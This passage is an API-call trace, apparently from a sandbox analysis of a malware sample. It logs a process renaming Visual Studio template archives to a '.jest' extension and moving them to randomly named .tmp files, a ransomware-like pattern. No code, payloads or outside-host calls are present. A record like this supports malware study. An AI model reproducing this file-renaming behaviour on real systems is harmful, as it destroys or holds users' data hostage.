lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.87") returned 0x0 [0163.211] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ftgz3nbja7Oo_gERqgYZNMAQuvWp5Jer2gtWRdwxj3UJVRh14eWU8nEC8gFSwj1LoEXkqTHGf09fM7mUW95bnwPpcUdSgwK5TyQn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ftgz3nbja7oo_gerqgyznmaquvwp5jer2gtwrdwxj3ujvrh14ewu8nec8gfswj1loexkqthgf09fm7muw95bnwppcudsgwk5tyqn.tmp")) returned 0 [0163.211] GetLastError () returned 0x2 [0163.212] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.223] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip.jest")) returned 1 [0163.225] VarBstrFromR4 (in: fltIn=0x47945671, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.88") returned 0x0 [0163.226] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1SQ3R2fOBra-g3BskBkSbPuwgrzMBxmWfNyb3JhXl-QwGPvFu6 dbUtJMIP3rrcl6NZfuqQB9MpdZlX-w7VpTJVgn1rkHtYhvonwp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1sq3r2fobra-g3bskbksbpuwgrzmbxmwfnyb3jhxl-qwgpvfu6 dbutjmip3rrcl6nzfuqqb9mpdzlx-w7vptjvgn1rkhtyhvonwp.tmp")) returned 0 [0163.226] GetLastError () returned 0x2 [0163.227] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.227] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip.jest")) returned 1 [0163.229] VarBstrFromR4 (in: fltIn=0x47945671, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.88") returned 0x0 [0163.230] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PfjV5d98DfngEenzvFizu4VzWvNNMYTwXNP2INNDceeHT nkd_6_832IqCjE4Br6QaIYYX_RijdLRfYj0X8Mxbr87fBFvQKyC6_k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pfjv5d98dfngeenzvfizu4vzwvnnmytwxnp2inndceeht nkd_6_832iqcje4br6qaiyyx_rijdlrfyj0x8mxbr87fbfvqkyc6_k.tmp")) returned 0 [0163.230] GetLastError () returned 0x2 [0163.230] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.230] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip.jest")) returned 1 [0163.232] VarBstrFromR4 (in: fltIn=0x47945673, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.9") returned 0x0 [0163.233] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K-AsQ6W8SRYQYlV3U0B872Wrm-XekqmCN2yQDXfxtDQxm2ne2zL_7i_5vaJtu2tMtE5vF Zvh-T147ro-psyVK3bFuK8Dl7X vLEM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k-asq6w8sryqylv3u0b872wrm-xekqmcn2yqdxfxtdqxm2ne2zl_7i_5vajtu2tmte5vf zvh-t147ro-psyvk3bfuk8dl7x vlem.tmp")) returned 0 [0163.233] GetLastError () returned 0x2 [0163.233] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.234] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip.jest")) returned 1 [0163.235] VarBstrFromR4 (in: fltIn=0x47945673, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.9") returned 0x0 [0163.236] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ zk0vy8krPUW6nRv6PK6P9zhrOGUH2fi68MqVIsUHPM_FkkFrSuORhq49K0I0qCX_9SerWsevWY3UYCgrdMQpt6UJ1H5OrB1qB41.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ zk0vy8krpuw6nrv6pk6p9zhroguh2fi68mqvisuhpm_fkkfrsuorhq49k0i0qcx_9serwsevwy3uycgrdmqpt6uj1h5orb1qb41.tmp")) returned 0 [0163.236] GetLastError () returned 0x2 [0163.236] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.237] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip.jest")) returned 1 [0163.238] VarBstrFromR4 (in: fltIn=0x47945673, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.9") returned 0x0 [0163.239] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CSH0v-IFq3pWRWOQ86etLyWoS2R 8QoFKz48T53dJ-JO6UGhLcLv5heO3UPsQ2v2h7sMWNocdNjMFRdBnKIJgFCpAXfrUCe2FtBUD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\csh0v-ifq3pwrwoq86etlywos2r 8qofkz48t53dj-jo6ughlclv5heo3upsq2v2h7smwnocdnjmfrdbnkijgfcpaxfruce2ftbud.tmp")) returned 0 [0163.239] GetLastError () returned 0x2 [0163.239] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.239] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip.jest")) returned 1 [0163.241] VarBstrFromR4 (in: fltIn=0x47945673, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.9") returned 0x0 [0163.242] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7YfrlqqdgD8PX2dvZbzntgWbAqkCFMiz47p4-XbNmLy2pKS-ZwvL qXux2Tzf8UrXmDuFOybGlblPrlTRS2408Aqyz g_Tl_59Uy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7yfrlqqdgd8px2dvzbzntgwbaqkcfmiz47p4-xbnmly2pks-zwvl qxux2tzf8urxmdufoybglblprltrs2408aqyz g_tl_59uy.tmp")) returned 0 [0163.242] GetLastError () returned 0x2 [0163.242] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.242] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip.jest")) returned 1 [0163.244] VarBstrFromR4 (in: fltIn=0x47945673, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.9") returned 0x0 [0163.245] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SJwmAYXcjh1wZSVSOgHMOVHqEEqMf5J8NFB_RZk5hHBkHwpJeYZNLBhYOZ-eauY6s0mcy0pwl6pHhA-67TsnL4LV hd1f7pr4F5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sjwmayxcjh1wzsvsoghmovhqeeqmf5j8nfb_rzk5hhbkhwpjeyznlbhyoz-eauy6s0mcy0pwl6phha-67tsnl4lv hd1f7pr4f5.tmp")) returned 0 [0163.245] GetLastError () returned 0x2 [0163.245] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.246] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip.jest")) returned 1 [0163.247] VarBstrFromR4 (in: fltIn=0x47945673, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.9") returned 0x0 [0163.248] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCW-PZ toA5nB4A_jnKZ7CyLiMNK8hafuYB9 Y7YzBK2MXgMLpr d4UP32DTG0ym_3x3vhp7cMwiVmpUZ1xO-zn_eS6VC7i_xx9xm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcw-pz toa5nb4a_jnkz7cylimnk8hafuyb9 y7yzbk2mxgmlpr d4up32dtg0ym_3x3vhp7cmwivmpuz1xo-zn_es6vc7i_xx9xm.tmp")) returned 0 [0163.248] GetLastError () returned 0x2 [0163.248] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.249] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip.jest")) returned 1 [0163.250] VarBstrFromR4 (in: fltIn=0x47945675, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.91") returned 0x0 [0163.251] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IdfoHfKK_ad3NVDlFp4SfrCCJF0jRFGfFgQCSz7uHf-_JUSSK6umwRLrQzk2TZQiofK__SlXIgSHic G9gcQAKKvloTQG if1oB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\idfohfkk_ad3nvdlfp4sfrccjf0jrfgffgqcsz7uhf-_jussk6umwrlrqzk2tzqiofk__slxigshic g9gcqakkvlotqg if1ob.tmp")) returned 0 [0163.251] GetLastError () returned 0x2 [0163.251] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.253] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip.jest")) returned 1 [0163.254] VarBstrFromR4 (in: fltIn=0x47945675, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.91") returned 0x0 [0163.255] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VhMP9T_D9HeKOcavWEqSl65SMZKFmzDInVffb5tYgoZAjjD73 -wrfTC X8jERoQ6-WRoTr1_OxSW_qGVIZTTWv4KWJYQ0-WkR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vhmp9t_d9hekocavweqsl65smzkfmzdinvffb5tygozajjd73 -wrftc x8jeroq6-wrotr1_oxsw_qgvizttwv4kwjyq0-wkr.tmp")) returned 0 [0163.255] GetLastError () returned 0x2 [0163.255] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.256] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip.jest")) returned 1 [0163.257] VarBstrFromR4 (in: fltIn=0x47945675, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.91") returned 0x0 [0163.258] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Rx_ CW5zVayj8PG4HzV_-AmrX4BAGh8vEqzt uDamlzfQ6VemGKexqy70FAdCTh9Xiq7idv9qtM2z8gqePxHssFTJeTn4uJMQuVS5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rx_ cw5zvayj8pg4hzv_-amrx4bagh8veqzt udamlzfq6vemgkexqy70fadcth9xiq7idv9qtm2z8gqepxhssftjetn4ujmquvs5.tmp")) returned 0 [0163.258] GetLastError () returned 0x2 [0163.258] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.259] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip.jest")) returned 1 [0163.260] VarBstrFromR4 (in: fltIn=0x47945675, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.91") returned 0x0 [0163.260] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RJvHQGoitK2kdDoVOdwQOuJX-u6RP6ndx-nkJPIojiT0cnYWpKKcd1rkb- VlpEuneDP3vJkeXhl7 k2A94oo5sFoPzdcRrq2HkZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rjvhqgoitk2kddovodwqoujx-u6rp6ndx-nkjpiojit0cnywpkkcd1rkb- vlpeunedp3vjkexhl7 k2a94oo5sfopzdcrrq2hkz.tmp")) returned 0 [0163.261] GetLastError () returned 0x2 [0163.261] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.261] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), lpNewFileName="C:\\Program Files 